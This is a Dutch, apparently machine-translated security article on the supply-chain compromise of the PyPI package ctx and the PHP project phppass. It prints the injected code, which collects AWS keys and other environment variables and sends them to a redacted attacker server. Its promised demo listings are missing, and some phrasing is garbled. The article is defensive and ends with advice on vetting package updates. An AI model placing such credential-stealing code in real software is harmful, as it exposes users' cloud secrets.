Een scherpzinnige onderzoeker bij SANS schreef onlangs over een nieuw en nogal specifiek soort supply chain-aanval tegen open-source softwaremodules in Python en PHP.

Na online discussies over een verdachte openbare Python-module, merkte Yee Ching Tok op dat een pakket genaamd ctx in de populaire PyPi-repository plotseling een "update" had gekregen, ondanks dat er sinds eind 2014 niets meer aan is gedaan.

In theorie is er natuurlijk niets mis met oude pakketten die ineens weer tot leven komen.

Soms keren ontwikkelaars terug naar oude projecten wanneer een pauze in hun normale schema (of een schuldgevoelens-oproepende e-mail van een al lang bestaande gebruiker) hen eindelijk de impuls geeft om een ​​aantal langverwachte bugfixes toe te passen.

In andere gevallen treden nieuwe beheerders te goeder trouw op om "abandonware"-projecten nieuw leven in te blazen.

Maar pakketten kunnen het slachtoffer worden van geheime overnames, waarbij het wachtwoord van het betreffende account wordt gehackt, gestolen, opnieuw ingesteld of op een andere manier wordt gecompromitteerd, zodat het pakket een bruggenhoofd wordt voor een nieuwe golf van aanvallen op de toeleveringsketen.

Simpel gezegd, sommige "revivals" van pakketten worden volledig te kwader trouw uitgevoerd om cybercriminelen een voertuig te geven om malware te verdrijven onder het mom van "beveiligingsupdates" of "functieverbeteringen".

De aanvallers richten zich niet noodzakelijkerwijs op specifieke gebruikers van het pakket dat ze compromitteren - vaak kijken ze gewoon en wachten ze om te zien of iemand valt voor hun pakket aas-and-switch...

... op dat moment hebben ze een manier om de gebruikers of bedrijven te targeten die dat wel doen.

Nieuwe code, oud versienummer

Bij deze aanval merkte Yee Ching Tok dat hoewel het pakket plotseling werd bijgewerkt, het versienummer niet veranderde, vermoedelijk in de hoop dat sommige mensen [a] de nieuwe versie toch zouden nemen, misschien zelfs automatisch, maar [b] niet moeite om te zoeken naar verschillen in de code.

Maar a diff (kort voor verschil, waar alleen nieuwe, gewijzigde of verwijderde regels in de code worden onderzocht) toonde toegevoegde regels Python-code als volgt:

   if environ.get('AWS_ACCESS_KEY_ID') is not None:
       self.secret = environ.get('AWS_ACCESS_KEY_ID')

Misschien herinner je je, van de beruchte Log4Shell-bug, dat zogenaamde omgevingsvariabelen, bereikbaar via os.environ in Python, zijn alleen geheugen key=value instellingen die zijn gekoppeld aan een specifiek lopend programma.

Gegevens die via een geheugenblok aan een programma worden aangeboden, hoeven niet naar de schijf te worden geschreven, dus dit is een handige manier om geheime gegevens, zoals coderingssleutels, door te geven en tegelijkertijd te voorkomen dat de gegevens per ongeluk verkeerd worden opgeslagen.

Als je echter een draaiend programma, dat al toegang heeft tot de procesomgeving met alleen geheugen, kunt vergiftigen, kun je de geheimen voor jezelf uitlezen en stelen, bijvoorbeeld door ze weg te sturen, begraven in regulier netwerkverkeer.

Als je het grootste deel van de broncode die je vergiftigt ongemoeid laat, zullen de gebruikelijke functies nog steeds werken zoals voorheen, en dus zullen de kwaadaardige aanpassingen in het pakket waarschijnlijk onopgemerkt blijven.

Waarom nu?

Blijkbaar is de reden dat dit pakket pas onlangs werd aangevallen, dat de servernaam die door de oorspronkelijke beheerder voor e-mail werd gebruikt, net was verlopen.

De aanvallers waren daarom in staat om de nu ongebruikte domeinnaam op te kopen, een eigen e-mailserver op te zetten en het wachtwoord op het account opnieuw in te stellen.

Interessant is dat de vergiftigde ctx pakket werd al snel nog twee keer geüpdatet, met meer toegevoegde "geheime saus" die in de geïnfecteerde code werd weggewerkt, dit keer inclusief agressievere code voor het stelen van gegevens.

De requests.get() onderstaande regel maakt verbinding met een externe server die wordt beheerd door de boeven, hoewel we de domeinnaam hier hebben aangepast:

   def sendRequest(self):
       str = ""
       for _, v in environ.items():
          str += v + " "

       ### --encode string into base64

       resp = requests.get("https://[REDACTED]/hacked/" + str)

De geredigeerde exfiltratieserver ontvangt de gecodeerde omgevingsvariabelen (inclusief eventuele gestolen gegevens zoals toegangssleutels) als een onschuldig ogende reeks willekeurig ogende gegevens aan het einde van de URL.

Het antwoord dat terugkomt doet er eigenlijk niet toe, want het is het uitgaande verzoek, compleet met bijgevoegde geheime gegevens, waar de aanvallers op uit zijn.

Als je dit zelf wilt proberen, kun je een op zichzelf staand Python-programma maken op basis van de bovenstaande pseudocode, zoals deze::

Start vervolgens een luisterende HTTP-pseudoserver in een apart venster (we gebruikten de excellent ncat hulpprogramma van de Nmap toolkit, zoals hieronder te zien is), en voer de Python-code uit.

Hier, we zijn in de Bash-shell, en we hebben gebruikt env -i om de omgevingsvariabelen te strippen om ruimte te besparen, en we hebben het Python-exfiltratiescript uitgevoerd met een nep-set van AWS-omgevingsvariabelen (de toegangssleutel die we hebben gekozen is een van Amazon's eigen opzettelijk niet-functionele voorbeelden die worden gebruikt voor documentatie):

De luisterende server (je moet dit eerst starten zodat de Python-code iets heeft om verbinding mee te maken) zal het verzoek beantwoorden en de verzonden gegevens dumpen:

De GET /... regel hierboven legt de gecodeerde gegevens vast die in de URL zijn geëxfiltreerd.

We kunnen nu de . ontcijferen base64 gegevens van het GET-verzoek en onthullen de valse AWS-sleutel die we aan de procesomgeving in het andere venster hebben toegevoegd:

Verwante criminaliteit

Geïntrigeerd ging Yee Ching Tok ergens anders op zoek naar de exfiltratie-servernaam die we hierboven hebben geredigeerd.

Verrassing, verrassing!

Dezelfde server verscheen in code die onlangs was geüpload naar een PHP-project op GitHub, vermoedelijk omdat het toevallig rond dezelfde tijd door dezelfde aanvallers werd gecompromitteerd.

Dat project is wat vroeger een legitieme PHP-hashing-toolkit heette phppass, maar het bevat nu deze drie regels met ongewenste en gevaarlijke code:

    $access = getenv('AWS_ACCESS_KEY_ID');
    $secret = getenv('AWS_SECRET_ACCESS_KEY');
    $xml = file_get_contents("http://[REDACTED]hacked/$access/$secret");

Hier worden alle toegangsgeheimen van Amazon Web Services, die pseudowillekeurige tekenreeksen zijn, uit het omgevingsgeheugen gehaald (getenv() hierboven is PHP's equivalent van os.environ.get() in de frauduleuze Python-code die je eerder zag) en verwerkt tot een URL.

Deze keer hebben de boeven gebruikt http in plaats van https, waardoor ze niet alleen uw geheime gegevens voor zichzelf stelen, maar ook de verbinding tot stand brengen zonder codering, waardoor uw AWS-geheimen worden blootgesteld aan iedereen die uw verkeer registreert terwijl het het internet doorkruist.

Wat te doen?

• Accepteer niet blindelings open-source pakketupdates wanneer ze verschijnen. Loop zelf de codeverschillen door voordat je besluit dat de update in jouw belang is. Ja, vastberaden criminelen zullen hun illegale codewijzigingen doorgaans subtieler verbergen dan de hacks die u hierboven ziet, dus het is misschien niet zo gemakkelijk te herkennen. Maar als je helemaal niet kijkt, kunnen de boeven wegkomen met alles wat ze willen.
• Controleer op verdachte wijzigingen in de account van een beheerder voordat u deze vertrouwt. Kijk in de documentatie in de vorige versie van de code (vermoedelijk code die je al hebt) voor de contactgegevens van de vorige beheerder, en kijk wat er is veranderd aan het account sinds de laatste update. In het bijzonder, als u domeinnamen kunt zien die zijn verlopen en pas recentelijk opnieuw zijn geregistreerd, of e-mailwijzigingen die nieuwe beheerders introduceren zonder duidelijke eerdere interesse in het project, wees dan achterdochtig.
• Vertrouw niet alleen op moduletests die correct gedrag verifiëren. Streef naar generieke tests die ook naar ongewenst, ongebruikelijk en onverwacht gedrag zoeken, vooral als dat gedrag geen duidelijk verband heeft met het pakket dat u hebt gewijzigd. Een hulpprogramma voor het berekenen van wachtwoord-hashes zou bijvoorbeeld geen netwerkverbindingen moeten maken, dus als u het betrapt (uiteraard met testgegevens in plaats van live-informatie!) zou u vals spel moeten vermoeden.

Bedreigingsdetectietools zoals: Sophos XDR (de letters XDR zijn vakjargon voor) uitgebreide detectie en respons) kan hierbij helpen door u in staat te stellen programma's die u aan het testen bent in de gaten te houden en vervolgens hun activiteitenrecord te controleren op soorten gedrag die er niet zouden moeten zijn.

Immers, als je weet wat je software moet doen, moet je ook weten wat het is niet zou moeten doen!